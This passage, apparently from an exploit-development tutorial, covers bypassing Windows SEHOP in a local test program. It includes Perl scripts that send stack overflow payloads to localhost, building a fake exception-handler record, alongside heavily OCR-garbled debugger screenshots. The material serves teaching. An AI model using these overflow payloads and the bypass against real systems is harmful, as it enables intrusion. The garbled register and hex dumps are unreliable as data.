CCCCCCCC| [FIFIFIE
CCCCCCC [FIFIFIF
CCCCECCC! IFIFlFlF
CCCCCCC) IFIFIFIF
CECCCECE| IFIFIFF
BE4E1473| =
BEEEEEER| .. ..
BE12FF44| O #.
BE4E1 268 h$E,
BE12EF23| Sn,
BEAEBEER| ...
BE4EZ2EC ~E,

..

aeE,

BE12ED2C
BE1ZED4A
GE12ED44
BE12ED4S
BE12ED4C
BE12EOSA
B812E0S4
BE12EOSS
BE12EOSC
G811 2EDEE
BE12EDES
BE12EOSE
BE12EDEC
BE12ED7A

AEREE4 12
AR483338

Fointer to nexdt S5EH record

S5E handler

RETURH to patching.88d@lzes

ASCII "Bytes receiwved:

OFFSET patching.

g

__natiwve_sta

As we can see the address of the exception handler is modified to the value we wanted
(0x00401473). To see if our code runs press shift + F9. Because it contains int 3 if starts to run the
debugger will immediately stops.
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4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]

File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE X P U wHEEY lemtwhcPkbzr..s ?ll
FrvD B 101U DWORD FTR S5: LEE -
FAEz167e| 9945 G0 MOU DWORD PTR S5: [EEP - EEELZEEEEEQEPU] - SR S
vas21ava| EB ao JHP SHORT mydll. 74621 | EF% Gaaaoans
74621676 Cr4E FC FFFFFFFIAOW DWORD PTR S5: (EEF N ECT Saaanmnn
[irnaid| e e noy ERR.mudl1. 7462188 | Fpy eBEDIDCC MSUCRA.printf
EElen LIS G T NR BARLEIR SRCeRr | o coucenes
74EZimoz| £4:9980 mopoo(HWOU DWORD PTR Fs:rol, |ER] foFasddb WS2 32.closesocker
Tiesiead| ef POP ECT EIF 74521873 mydll. 74621873
My .
74621m9E| SE POF ESI :
C @ ES 923 32bit BIFFFFFFFF)
24651890| B4p Ex HOU Ecd, ouORD PTR Sg:  |P B C5 DBIE 320t BIFFFFFFFF)
Td621aen) &840 i0 Bl * |m@ S5 @622 32bit BIFFFFFFFF)
. Z B DS @923 32bit BLFFFFFFFF)
746210R2| ES mdomomos CALL mudll._ security, -
S B F5 0936 3gbit PFFOFBEA0FFF)
iy oees s e P8 G2 858
oa
74521epA| o2 RETM
aeslomdl Ron iozecera | horEcw. DwoRD PTR D: |0 P LastErr ERROR_SUCCESS (@P0208)
74621861 | 75 B2 gggcgﬂnglnmydll 74621 [ | EFL BEA1G2G2 (MO, ME,ME, A, NS, PO, GE, G
- 5TA empty 0. EEAOOEEAEAEEEEAEEEEE
Svack"S5:To0 {ZEDeeT-0000Enus 5T1 empty 0. ERODERREEREEEREREREE
STE empty 0. BOROORONOREERE0AGEEG
ST3 empty 6. BEOEEEOEEHEEEEEGGEEE
Address |Hex dump E2EFZBCE| oo
BE4G26EE| B B ¢H 63| FC F9 85 oC ) Bl P oo =
BE1ZES34| PEF933BC| .3 0| USE_32, closesocket
e64a3853| FE FE FF FF|FF FE FF FF 1 :
i e g g i BE1ZES52| EEEDLDCC| [p#mk | HSUERSE. printf
BE1ZES2C| POREEELI|A. ..
BE4E3E15(34 21 40 oo|pe PO po om bt e ot R
BE4E5620( 01 BE PO G|CA 19 IC oA S22E24| SERECEETE (e
00403822 08 13 I1C 89|80 00 oo oa| i | 221SEF4) CEEEEREE kD
00403630 08 0B 09 60|Bp 60 oo oa| ... |Z212E338) CEEREREE ICHHD
0403832 08 0B 02 e8| eo o0 oo oa) o | Z212EFAC) CCEGERLE IOHHD
Bo403840| 08 0B 0o 8| eo oo oo oa| [ | Z212E35) CCEGEGLE IOHHD |
00403543 08 0B 62 8|60 oo 6o oo ... | Z812E35d) CCEGERLE IOHHD
chiciose| s o o0 oo oo o od o)l feaiseeny SOCCOEE ML :
| ARdrsAER| AR AR GE AR AR AR GE AR QE1ZEZeH) CCOCCCCC) IFIFAT
|Dehugged program was unahle to process exceptlun | |Paused

Ok, as we can see the application is immediately stopped, but again in debugger window there are
no int 3 instructions, and even worse, at the bottom the debugger says the "Debugged program was
unable to process exception".

What happened?

If you recall the SEHOP had some other check as well for example it walks through the SEH chain,
and if the last one is not point to OXFFFFFFFF as next Exception handler, and does not point to the
ntdll!FinalExceptionHandler the application will exit without executing the exception handler code.

How can we solve this problem?

We know that, the original data there were 0x0012FF78 as pointer to the next Exception Handler:

EE1ZEDZE|| 41414141 | AAAA
FE1ZEDZ4 (| 41414141 | AARA
GEizZEDSS(| 41414141 | AAAA
FE1ZEDSC|| 41414141 | AARA
GaizZEDdE || 14294E6EBF | q FET
FE1ZEDSd || BEBEEIEE| . », .
HE1ZED4S || BE1ZESZC| 04,
HE1ZED4C| | BE1Z2FFYE|® #.|Pointer to nexst 5EH record
HE1ZEDSA| ] FABDIASE| C+.p| 5E handler

FE1ZEDS || BEBEEEEE| . ...
FA1ZEDSE | sBALZFF44 | O #.
BE1Z2EDSC|| @@401268| h#®, | RETURN to patching.@@481268
FE1ZEDEE || BE1ZEFSS| Snd.,
GE1ZEDES || BEEEEEEE| ... .
BE1ZEDES || @@4B225C | ~ @, | ASCII "Buytes received: HdE™
FE1IZEDEC || BEEEEIES | b,
EE1ZEDVE|| @ad4a3388 QE@ OFFSET patching.__native_st:
FA1ZEDV4 || BEEEEEE 1
FE1ZEDVE || BABEEREA| o 0.
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what would happen if we were simply left that value there?
Let us try it, so use the next perl script (a4.pl)

use I0::Socket;

my S$sock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345",

Proto => 'tcp',

) ;

die "Error: $!\n" unless $sock;
my $line = "\xCC" x 1036 . "\x78\xFF\x12\x00" . "\x73\x14\x40\x00";
my $len = length $line;

my Smsg = pack "L", S$len;

print $sock $msg . S$line;

close ($sock) ;

save this perl script, then close the debugger, and restart the application. Type 0 as number, to
trigger the exception handling:

v | Administrator: Command Prompt - patching.exe

:s0ld*patching.exe
nter a numher if B division by zero fires the exception handler:

start the immunity debugger again, and from the file menu select the attach command

& Immunity Debugger - [CPU]

C View Debug Plugine ImmLb Options Window Help Jobs
| Open F3 2ilisgJ+f 1 emt
Dekach
Exit Alt+¥
1 C:\Old\patching.exe Ctrl+F2

in the appearing window select patching, then click on the attach button:
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Find: PA =] B4
PID | Hame Service Listening Window Path S
1628 | postares Cz~PROGE
17268 | postgres C:~PROGE
17268 | postgres C:~PROGE
1722 | postgres Cz-PROGR
1795 | postares C:~FPROGE
1864 | postares C:~FPROGF
1852 | swchost FolicwHgent Cz~lWindo
1864 | swchost RemoteRegistry Cz~lindo
1944 | suchost WISUC, WAS Cz~lindo
1955 | swchost WerSuwe Cz~indo
2E32 | msdtc MSOTC Cz~Windo
2188 | taskeng CicerolIlndFoame Cz=lWlindo
2164 | Owe OWM Mot ification Window Cz~Windo
2212 |Edplorer Start Cz~Windo
2360 | UBoR Traw LBoxSharedCl ipboardClass Cz~Windo
2468 | patching Cz~0ld~p
2484 | omd Bdministrator: Command Prol C:sWindo
2544 | cmd Administrator: Command Prol C:sWindo™ |
SE72 | evchost TapiSryw Ce-Minda ™

Attach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button

4. Immunity Debugger - patching.exe - [CPU - thread 00000AES, module ntdil] O] x|
File Wiew Debug Plugins Immlib Options Window Help Jobs _||5||5|
O% T E Max r I Y+ lemtwhcPkbzr.s ?[
7 =F e RETH 7
7reBoEss| v PUSH_EDI ~ |Featsrers (PR .
TN R e
7reESE3S| CP@Z GPGOPESe |MOU DWORD PTR DS:(EDx | E0f frefCoed ntdll.DbaliRemoteBreakin
TPCBESECSF| S97A oe MOW DWORD PTR DS:[ED: | EEX ZREdHEEE
772EZE4Z| BEFF OR EDI,EDI Eof e
iRarac| gachFR BF_ECH, FEREFFRE o0 fESI penoonon
7FoESE49| 32CE WOR EA, EAX Y ecr covooooe
7r285548| FZaRE REFNE SEAS EVTE PTR £ |EIP PP2BSEZF ned|l.?r2Bseer
FTZEGEAF| S1F3 FFFFO@@@ | CHP ECH, OFFFF ER- 0 R
7P2BSESS| 76 @5 JEE SHORT ntdll.7rees  |F 1 52 PRIE 22t BIEEEEEEEES
TFCESEST| B9 FEFFO@E8 MOU ECX, BFFFF - 8 | giseeEEeE
TPEEEEEC| £G:E94A @2 MOU WORD PTR Ds:rEDx+ |5 1 BE 2E23 S=biv BIFFEEEEFE)
7F2ESEEE| 49 DEC ECH CRER 00 R
7r2EEEet| 6sa90R MDY WORD PTR DS:CEDX1 | §
TTEBEBEd | SF ncan POF ED 0 B LastErr ERROR_SUCCESS [ @ORAEHEE)
7reESEES| E7 FUSH EDI « | EFL @@mecz4s (HO,HE,E, BE, NS, FE, GE, LE)
ST ~] = -l wlr . W v | —
STE empty . BEGAEEAEGEEEEEEGHEEEE
Return to FreFCoRE (nedll. Frer Conm) ST empty 2. OO00EO000a000Da0000g
STZ empty B, DOEHEEREGEEEHEEHEEEE
ST3 erpty 0. DODOBOBDEBORORDADORD
Address |Hex dump ASCIT Fr=FCoRE[ Ar-w| RETURH to ntdll.Pr2FCIAE fr
PE4EE00| 42 B1 &2 50| BD FE 90 rz| B60 L0 8 Er o e e e
BE4B26R2| FF FF FF FF|FF FF FF FF we ikl ol (ave s LR
BE4B2616| FE FF FF FF| @1 05 08 @8l  @... QOSFRFes) ooooaoanl ...
BE4BIE1E| 54 21 40 00|06 0D BB BE|4tE.. ... poSPERSC) DooRammd) ;-
08483026/ B1 5 60 60| CO 19 00 086, . ] L e sl (e
o e e e e ey Ef B oot BESFFF7S| BOZFFFC4|~ 7. |Pointer to newt SEH record
booooosc BESFFFTC| 7rerasFA|-i'w|SE handler
BE4OZAIZ| 06 OO 0O 06|06 0O 08 B8] ... .. ... GOSFRFCC Crerasral o'
BE4EZRI0| B0 DO 0O DO 06 0O 0O BE| ... .. ... QESFFrSg) prridecl|~Bw
BE4EZG4S| BE DO PO BE|EE 05 GO BE| ... .. ... ge kol (W dvre s PEEG B
Sitienel) By B B ) 188 188 B () sooooooo BESFFFEC || FPEADGES| 8. w| RETURN to kerne lS32. 7TEADGES
BE4BSGES| GG GO DO BO|BE D5 GO BE| ... ... e daas || A -
| ARdnzAenl AR OR AR AR AR GR A6 AR
|[Bi:45:53] Attached process paused at ntdll.DhgBreakPoint |Paused

The application will continue to run:
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4. Immunity Debugger - patching.exe - [CPU - thread 00000AEE, module ntdil] Ol x|
@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB ETE Mx 2 w¥HLEY 1l emtwhcPkbzr.s?[Jj
il =F =] RETH -
PrIECEIH| 57 FUSH EDI - EgiligﬁgzaéEPU] - SR S
ZLoPeEce| Smoas4 oo HOU EDDWORD PTR o5; |EC: @opeosen
7rEESE3S| CP@Z GEBPEEE | MOU DWORD PTR OS:(EDx | S0 freftzed ntdll.DbsliRemorsbreskin
FPIESESF| S97A B4 MOU DWORD PTR DS:[ED% | ESs 2EEEEEEY
7reESEaz| BEFF OR EDI,EDI ESF oarrres
SiEiras| EeiTer OF Eow. FERFRFFE o0 | EST moannan
7rZESE43| 33CE SOR EA%, EAX I [
7r2bebde| FaahE REPNE SEAS BYTE PTR E | EIP 772BSB2F ntdll.7ressezs
7roECEAF| 21F3 FFFFe@@E | CHP ECH, BFFFF Sl A daataEy
7PIESEEE| 7E @5 JBE SHORT ntdll.7rees |G} EZ ZB1E S=pit BIFEEEEEERS
7PEESES| B9 FFFFo@ee MOU ECX, BFFFF e R
FPEESEEC| £6:8940 B2 MOU WORD PTR Ds:CEDw+ |2 L BE BEe= Z=bit GIEFEPRPEC)
FPEESEEE| 49 DEC ECH Rl i
7rEeEel| 66:590R HOY UGHD PTR DS: (EDX1 |,
ez G e 2 0 @ LastErr ERROR_SUCCESS (@RBBBEEE)
7PZESEES| 57 PUSH EDI + [ EFL BeBEEZ46 (NO,ME,E,BE, NS, PE, GE, LE)
k] L=l =T ] = wdr T . | —
STE empty . DEEEOEEEEEEEEREEGEEE
Return to ¢r2FLOA0 (nedl 1. 7r2FCoAa] 518 empy B OB DD o0
STZ empty 0. PEOEREOEREOEREEEREEE
STS empty 0. PEOAPEOEREEEREEEREEE

il

rreFC2A8| AF-w| RETURH to ntdll.PP2FCoAE fi g
BASFFFEA( FRE4E221( 2edpn
BASFFF&4 | BEEEEEEE( . ...
BASIFFFES( BEEEAEEE( . ...
BAZFFFEC| BEERAGEE ., ..
BEIFFFFE( BRIFFF&E( " .
BEZFFFF4( BEEEAEGEE S50

Address |Hex dump HSCII

HE4E2866| 42 @1 &2 S0|ED FE 90 72| EBBb1Ym¥y
68482883 |FF FF FF FF|FF FF FF FF
BA482818|FE FF FF FF| Al 68 838 80| = A...
BE4E3E18) 24 21 48 98|00 D0 B8 8@ 4tE.. ...
BE4E3EZA| A1 BE B8 BA|CA 19 D8 88| &, .. -4,
HR4ESEZE| A8 13 D8 88| A8 BE @8 @@l , ., ...
BA4ESEZA| A0 BE B8 B8 60 GE B8 88| ........
BA4EZEZS| A0 OE B8 B8 E0 OE B8 88| ........
HE4E2848| B0 B0 B8 B8|E0 B0 B8 88| ........

BEZFFFYE| BE3FFFC4|— *.|Pointer to nexdt SEH record
BEIFFFFC| Fr2f?9FA| - d"w|SE handler

BEIFFF30| @rvr4zZC1| LBw-
HEIFFF34| BAoEEanEEl (...

BR4EIE4S| B0 G0 00 06| B3 GO G0 96| ........ .
PR4EIECE| B0 00 60 00| GO GF 63 BE|........ e [ [l IS .
BR4EIEES| 60 G0 00 00| B3 G0 G0 B8|........ - to kerne |32, FPBRDBETE
| ARAASAEA]| AR AR AR AARLAR B8 AR AR BEZFFFA0| | ae8eEa00a) . . . .

|Run program (F9>» | |Running

now the application is running. Finally send to it the data by running the a3.pl

.| Administrator: Command Prompt

:~0ldrad.pl
=~01d>

The application stops because of the division by 0 error
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4. Immunity Debugger - patching.exe - [CPU - main thread, module mydil]
File View Debug Plugins Immlib Options Window Help Jobs

=18 x|

89/122

FENEISRTE T

2 I

+ =i

l emtwhocecPk©bzr

s 7 !!!I

FrrO GC I0IU OWORD FTR S5:LEE i
TEEOLETE| S94E B0 MOL DWORD PTR S5: [EER = EEELZEEEEEQEPU] AL S
FAE01E7Z| EB B0 JHP SHORT mydll. 72801 | EFY Soaaoans
7EA01E7E| Cr4E FC_FFFFFFFIAOY DWORD PTR S5: (EEF__ 0 E00 Aanaomme
7EE01G22| BS AF1AGOTE MOU EAX, mudll. PRECIES | FR5 fBa 11000 MSUCRSE. printf
FEE01EEF| C2 RETH B c
T s e e om e el 2 S5
“aaniass| £4:5960 666Ga0A| MDY DORD PTR Fs: (4], By Liiad R EroclEnEaeEiet
repbipan| SF FOF DI EIF FPEE0IGFE mydll.7OE01E73
C 8 ES 9823 32bit B(FFFFFEFF)
rEA01Asc, S POF EBR . IF @ c: @piE 32bit BiFFFFFFFF)
FAE01ES0| 8B40 ES MO ECX,DWORD FTR S5t |5 8 55 Goss oonir GfFFRFEFEE)
FiEL I e ST e : £ B DS G823 3Zbit BLFFFFFFFF)
FEE01EAZ| ES G40G806E CALL mudll.  security, !
S5 8 FS 983E 37bit FFFOFGEGEIFFF)
FEE01EA7| SEES HOU ESF, EEF S B EEEE e
=l Gl i
FEE01GAE| 3BE0 183MEDTE | CHP ECH,DWORD PTR DS 0 @ LastErc ERROR_SUCCESS (BHABHRAH)
rOED1BEL| 75 BE JNz_SHORT mud 1170801 = | EFL D8@18282 (1D, M8, NE, A, 1S, PO, GE, &)
ST = STE empty B.EEEEGEEE0EEEE06HEE6E
SIS A AU A R e el ST1 empty 8, GO0EEHEEEEE00680EE08
ST2 empty 6. OEGEEEGEGEGEEEGEEE6E
STZ empty 0. OROEEEGEGAGEGRGAGRGE
Address [Hex dump ASCII a (DR 3553;3;@ EHEL -
bo4uSEgEl 42 o1 €2 SUIBD FE o0 raf BOb 1 e BE17E954| TEFIAIAC| .5- 0| WS2_32. olosesocket
i e g g @E1ZE93E| &ES110CC| ik | MSUCRSG. printf
oac BE1ZESIC| PAGEGE11(4...
BE4E3E1Z| 34 21 40 00| 08 G0 G0 06| 4tE.. ... et W
PR4A3EZ6| A1 B0 96 B6) CA 19 DO 068, , . CH. Oo1ZEZ43| SEEREEECT! fHebE
PR4A3EZS| B9 13 DO 06| G0 60 60 96| . 0., ... SECED Trmnnn)
BR4E2E50| 60 G5 G5 G5 G5 OB O O6|........ oA e [EIFIFLE
BR4E2R22| 60 G5 G5 G5 G5 DR O O6|........ e EFFF
BE4E3E46| B0 G0 B0 06 BB G5 G0 BE| ... .. ... i e e __J
BE4EE4S| BF B0 B0 GO BB BB B0 BE| ... ... g | e
e o e e e (e Ed [ opete00s A1 2E95C| COECECLC| [FHHE
ARdASARAl AR AR AR AR AR BR GR AA] . ~J B912E968) COCCCCCD) PP hal

|[El:48:1@] Integeyr division by zero —

use Shift+F?-F8-F2

tu| |Paused

scroll the stack window to the end of the "\xCC"

aE12EDI2
A 1zEDSC
AE12ED4E
a6 1 2ED44
BE12ED42
A6 1 ZED4C
@31 2EDSE
a6 1 ZEDS
BE12EDES
BE1ZEDSC
@31 2EDSE
a6 1 2EDE4
a6 1 2EDES
A6 1 2EDEC

CCCCCCCC
CCCCCCCC
CCCCCCCC
CCCCCCCC
CCCCCCCC
BA12FF7a
BE4E1472
BEAREEEE
BE12FF44
BE4E 1262
BE12EF 33

BOAREEEE | .

BR4B2250
BEARES 12

Pointer to nest SEH record
SE handler

RETURM to patching.@88481268

: ASCII "Bwtes receiwved: XA

As we can see the address of the exception handler is modified to the value we wanted
(0x00401473), and the Pointer to next Exception handler remained (0x0012FF78). To see if our
code runs press shift + F9. Because it contains int 3 if starts to run the debugger will immediately

stops.
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4. Immunity Debugger - patching.exe - [CPU - main thread] Ol x|
@ File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
OB TE X P U wHEEY lemtwhcPkbzlr..s 2l
ggi%ggig EE %Hig alReaisters (FPU) s £ 4
BE12ED45| CC INTZ Elanons
e | T EDW 7720SFE0 ntdll. PP20EFED
BE12E048| CC INTZ ESn pomaEBan
BA1ZED45| CC INTZ Bl ==
BoizEDdE| GE HHE ESI BopaBaa:
BELZED4C| 78 FF JS SHORT @E12E04D EDI bBubgaes
B3] ZECHE s AOC AL,EYTE FTR OS:CE |EIF @812E04E
e Sl ORI (Al C & ES @822 32bit BIFFFFFFFF)
GE1ZE055 | DEeR ADD EYTE PTR Ds:CEAx1 |G} 55 5515 ZZpit BIEEEEEEERS
BE1ZE0SE| BAGE AOD EYTE FTR OS: [EAXT !
Z 1 DF 9823 32bit GLFFFFFFFF)
BE1ZEDCT| BE44FF 12 AOD EYTE PTR DS:CEOT+ |5 1 P2 EEEE 22bit BIFFFFEEEEL
BG1ZEDEE| BBES 12 AOD EYTE PTR DS:CERA+ (5 & B2 ooon il
B15E0CF| Bags ADE BYIE TR os:cemxs |2 @
galzEDer 22 S R : 0 8 LastErr ERROF_SUCCESS |ORAGSEAG]
po1ZEDEE| 1268 ADC AL.EYTE PTR DS:[E|w | EFL 08818246 (ND,ME,E, BE, NS, PE, GE, LE)
: e a STE empty B.EEEEGEEE0EEEE06HEE6E
A R ST1 empty @.OEOEEEEECEGEEE0EEE6E
ST2 empty 6. OEGEEEGEGEGEEEGEEE6E
ST3 enpty 8. OBOADOEDOANAOOEDERDG
Address [Hex dump ASCII " GE] ZECEH| = m=F -
BR4Eo0EE| 42 Bl 62 0| BD FE 90 r2|E6b.UeEr SSiEEE;g SS%SEEEE LP*- .
BE4628682| FF FF FF FF|FF FF FF FF _'t'*. Fointer to nedt SEH record
BR4E360168| FE FF FF FF| B1 0@ 0@ 06(s  @... BE1ZEEFC) FrEO0SFAD) L_—u| SE handler
BE4E3E1Z| 34 21 40 00| 08 G0 G0 06| 4tE.. ... R I ik
PR4A3EZ6| A1 B0 96 B6) CA 19 DO 068, , . CH. e | ET T gl
PR4A3EZS| B9 13 DO 06| G0 60 60 96| . 0., ... u to ntdll. 7r20EF4E £
BR4E2E50| 60 G5 G5 G5 G5 OB O O6|........ ggi%gggg Sgigggjg tP:-
BR4PIE3C| B0 G0 00 00 BB GF G0 BE| ... ..... BolZESE | BRiZED4C Lot
BE4E3E46| B0 G0 B0 06 BB G5 G0 BE| ... .. ... o1ZESSE | BRiZEeen temd
BE4EE4S| BF B0 B0 GO BB BB B0 BE| ... ... e | P SO p—— . |
BR4E36R5E| B0 GF GF GF B 08 03 GE[........ =M. to patching. BE4E147:
BR4EIEES| 60 G0 00 00| B3 G0 G0 B8|........ il -
| AR4ASAGAl AR AR AR AR AR AR AR AA P,
|Ehuw Hardware Breakpoints window CALT+M> |Paused

And we have a small victory, if you check the address in the debugger window it stopped at

0x0012EDA4E. We planned to jump to the 0x0012ED4C. What caused the difference? If you check
the instruction at 0x0012EDA4C it is js short 0x0012EDA4D. It means jump if signed (negative). If
the sign flag is set it were jump. The sign flag is not set now, but even if were jump it would jump
to bad position we should jump to backward direction.

So think it over.
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At the position 0x0012ED4C there is the value 0x0012FF78 because 0x0012FF78 is the next
Exception handler. But we were need there a jump back instruction for example instead of
0x0012FF78 something like 0x0012XXEB (the EB is the short jump instruction). But if you recall
the tests done by SEHOP one of them is to check if the next exception handler pointer is points to a
4 byte alligned address. It means to the position 0x0012ED4C we can write only the following
values: 0x0012XXX0, 0x0012XXX4, 0x0012XXX8, 0x0012XXXC. As we can see the
0x0012XXEB is not good, it can not be used.

Ok, then then what should we do? We has to find a jump instruction which machine code ends with
0, or 4 or 8 or C, and one bytes long.

If you take a look to an opcode reference for example at http://ref.x86asm.net/coder32.html you can
find that the following jump instructions can be possibly good:

70 : JO Jump short if overflow (OF=1)

74 : JZ / JE Jump short if zero/equal (ZF=0)

78 : JS Jump short if sign (SF=1)

7C : JL / JINGE Jump short if less/not greater (SF!=0OF)

If you take a look to the flags you find that in our case the zero flag is set, sign flag is not set,
overflow flag is not set. So from the four possible instructions only the 74 JZ / JE is good for us.

So we must write to the position 0x0012ED4C something like 0x0012XX74 where XX means how
many bytes to jump.

BUT this number must also point to an exception handler structure. Let us check, if there is a
structure exception handler structure ends with 74. to do int click to the view \ SEH chain
command.

<. Immunity Debugger - patching.exe - [CPU - main thread]

@File Debug Plugins Immlib Options Window Help

CJ¥8 | Log Alt+L lLi= = 1 e
moiocna| Executable modules  AlL+E

SS%EEB: Memory Alt+HM

Gizend)  HEAm

SOLEED Tveac

gelZEDY Windows

fo1oc D R = Th DS CERR]
SS%%EBE CPU Alt+C 12EDGE

izl iz
ea1zEDS|  Patches Cirl+P DS: [EDT+EDI#8+12]

In the appearing window there is no Address ends with 74:


http://ref.x86asm.net/coder32.html
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&% SEH chain of main thread =10l x|

Address SE handler -
AE1ZESTE ntdl L. 7F205FE0

BE12ED4C patching. 88481473

HE1ZFFFE patching._ercept_handlerd
BE12FFC4 ntdll.__except_handlerd

HE1Z2FFE ntdll._FinalEdcept ionHandler®lé

Ok, it does not work, then what can we do?

The range we controll is 0x0012E940..0x0012ED3C. Because we control the data in this range we
can create here a fake Structured Exception Handler structure.

And link this fake structure into the chain:

Pointer to next exception || FAKE SEH structure
handler block (overwritten)- \.L : :

. . Pomter to next exception
Pomter to exception

handler (overwritten) ‘ handler block
| Pointer to exception

handler (address of catch)

Pointer to next exception
handler block
Pointer to exception

POP, POP, RETN handler (address of catch)
/

Y

Pointer to next exception
handler block

| Pomter to exception

/ handler (address of catch)

We can create this fake structure at the following positions:
0x0012E974, 0x0012EA74, 0x0012EB74, 0x0012EC74

From this list I choose the last one 0x0012EC74. In the stack we want to do something like:
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Addresses OLD EIP

0x00 401473 | POP, POP, RETN

OLD EBP

0x0012ED50 ~ [ Pointer to exception handler

0x0012ED4C Pomter to next SEH

As jump instruction jumps here sk walite

As pointer
points here

0x0012EC78

Pointer to exception handler

0x0012EC74 Pomter to next SEH

Local variables

It can be done by the following perl script (a5.pl):

use IO::Socket;

my Ssock = new IO::Socket::INET (
PeerAddr => '127.0.0.1",
PeerPort => '12345",

Proto => 'tcp',

)5

die "Error: $!\n" unless S$sock;
my $line = "\xCC" x 820
"\x78\xFF\x12\x00"

"\xCC" x 212

"\x74\xEC\x12\x00"
"\x73\x14\x40\x00";

my S$len = length $line;

my S$msg = pack "L", $len;

print $sock $msg . S$Sline;

close ($sock) ;

save this perl script, then close the debugger, and restart the application. Type 0 as number, to
trigger the exception handling:

.| Administrator: Command Prompt - patching.exe

:s0ld>patching.exe
nter a number if B division by zero fires the exception handler:
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start the immunity debugger again, and from the file menu select the attach command

4. Immunity Debugger - [CPU]

C View Debug Plugins ImmLb Options Window Help Jobs
| _open s (Ml lemt
Debach
Exit Alt+¥%
1 C:\Old\patching.exe Cirl+F2

in the appearing window select patching, then click on the attach button:

Find: PA _ O

P10 Harme Service Listening I i n o Fath -
1628 | postares
1728 | postares
1780 | postgres
17258 | postares
1795 | postares

SEFZ | swchost TapiSrw
SHY2  patching

[+

C:

C:

C:

C:
15864 | postgres C:~PROGF
1852 | swchost FPolicwAgent Cz~Windo
1264 | suchost RemoteRegistry Cz=lWlindo
1944 | swchaost W2EUC, WAS Cz~Windo
1956 | swchost WerSuwe Cz~Windo
2E32 | medtc MSOTC Cz~lWindo
21868 | taskeng CiceralIlndFrame Cz~lindo
2164 | Owm OWM Mot ification Window Cz~lindo
2212 |Edplorer Start Cz~indo
23660 | UBonTraw UBoxSharedCl ipboardClass Cz~Windo
2484 | cmd Administrator: Command Pool C:-llindo
2644 | omd Administrator: Command Proo E:\Nlndo

C

0ldwp ™

Altach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button
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4. Immunity Debugger - patching.exe - [CPU - thread 00000CFC, module ntdil]

95/122

@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE X P U HEEM* lemtwhcPkbzr.s ?ll
Fard >F S FETH i
TreBEEDR| E7 FUSH EOI - EgiligﬁggaéEPU] S
SCSEinit| Eecae ms HOU ER.DUORD TR o8; |ECH Bo@Eomos
7rEESE3S| CP@Z GEBPEEE | MOU DWORD PTR OS:(EDx | S0 freftzed ntdll.DbsliRemorsbreskin
FPEESESF| S47A B MOU DWORD PTR DS:[ED% | ESs 2EEAEEEE
7reEcEdz| BEFE OR EDI,EDI ESF gozarrer
S SRobac| Bacs PR oF EcitrrrERrre o0 (ESI Bponoons
PrEESE4S| Zach wOR EA%, EAX L} Enr conaanna
7r2bebde| FaahE REPNE SEAS BYTE PTR E | EIP 772BSB2F ntdll.7ressezs
7roECEAF| 21F3 FFFFe@@E | CHP ECH, BFFFF Sl A daataEy
FFEESESE| 76 65 JBE SHORT ntdll.7rees |G} EZ ZB1E S=pit BIFEEEEEERS
FFSESECY| BO FEFFGRGEE MOU ECH, BFFFF e R
PPEESECC| £5:894A B2 MoU WORD PTR Ds:CEDwe |5 1 BS 9228 S2pir QIFFFERFFE)
PPEESEED| 49 OEC ECH Rl i
7rEeEel| 66:590R HOY UGHD PTR DS: (EDX1 |,
ez G e 2 08 LastErr ERROR_SUCCESS (@GAGGHHE)
FFEESEES| B FUUSH EDI « | EFL oomeez4s (MO,ME,E, BE,MS, PE, GE, LE)
clcie] L] el N =1 = o e - B - | —

5TB empty ©.BORROREROGREEEOEEOGEE
Return to FreFCORE (nedll. FreFCoAm) 518 empy B OB DD o0

STZ empty 6. DEEOEEEEOREEEREEHREE

STS empty B, HEE0OBEOOBEOOREOOREE

TTEFLOHE| S W] FETLURN to nedll. TreFLong f1
Address |Hex dump FISEIE e P RCCERS .‘;#.m ™
BE4BZ00E| 2E HY He FE|DL GF 5 B1].00aTHHo )
BE4BZ08Z| FE FF FF FF|FF FF FF FF e (e e
BE4AZR16| FE FF FF FF| Bl BB 00 0o|s  o... O (o L
BE4EIE1E| 54 21 48 00|06 0O 0O BE|4tE.. ... POZ4EREC| DopameRdli-:-
op403028| 61 B9 00 00| o 19 C3 gal 6, . ik e (e e
T o P e e e e i | asiacans BBZ4FF7ES| BEZAFFC4|— 5. |Pointer to newt SEH record
"""" BEZ4FFTC| TrEF9SFA| - °w|SE handler

BE4BSAZC| PO DO B0 BO|BE DO GO BE| ... ... e (e
BO4BSR40| B0 DO DO BO|BO DO BO BE| ... ... e o L
BO4AZA4S| BO BO BO BO|BO DO BO BE| . ... ... ClE e ELERE) o B
EEE e G2 CE EE G G G EE EE ooaoooac aEzdFFan || FPEO0EES| 8] o RETURM to kerne |22, 7PEADGES
BE4EIEES| GG DO DO BE|BE DO BB BE| ... ... R || AT -
| AR4ASASAL AR _FAE FAA AR AR §E AR HE st

|Execute till return <Ctrl+F2>

|Paused

The application will continue to run:
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4. Immunity Debugger - patching.exe - [CPU - thread 00000CFC, module ntdil] =]
@ File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
OB ETE Mx 2 w¥HLEY 1l emtwhcPkbzr.s?[Jj
il =F =] RETH -
PrIECEIH| 57 FUSH EDI - EgiligﬁggaéEPU] - SR S
ZLoPeEce| Smoas4 oo HOU ED%DWORD PTR o5; |EC: @opeosen
7rEESE3S| CP@Z GEBPEEE | MOU DWORD PTR OS:(EDx | S0 freftzed ntdll.DbsliRemorsbreskin
FPIESESF| S97A B4 MOU DWORD PTR DS:[ED% | ESs 2EEAEEEE
7reESEaz| BEFF OR EDI,EDI ESF gozarrer
SiEiras| EeiTer OF Eow. FERFRFFE o0 | EST mgannan
7rZESE43| 33CE SOR EA%, EAX I [
7roECEAF| 21F3 FFFFe@@E | CHP ECH, BFFFF Sl A daataEy
7PIESEEE| 7E @5 JBE SHORT ntdll.7rees |G} EZ ZB1E S=pit BIFEEEEEERS
7PEESES| B9 FFFFo@ee MOU ECX, BFFFF e R
FPEESEEC| £6:8940 B2 MOU WORD PTR Ds:CEDw+ |2 L BE BEe= Z=bit GIEFEPRPEC)
FPEESEEE| 49 DEC ECH Rl i
7rEeEel| 66:590R HOY UGHD PTR DS: (EDX1 |,
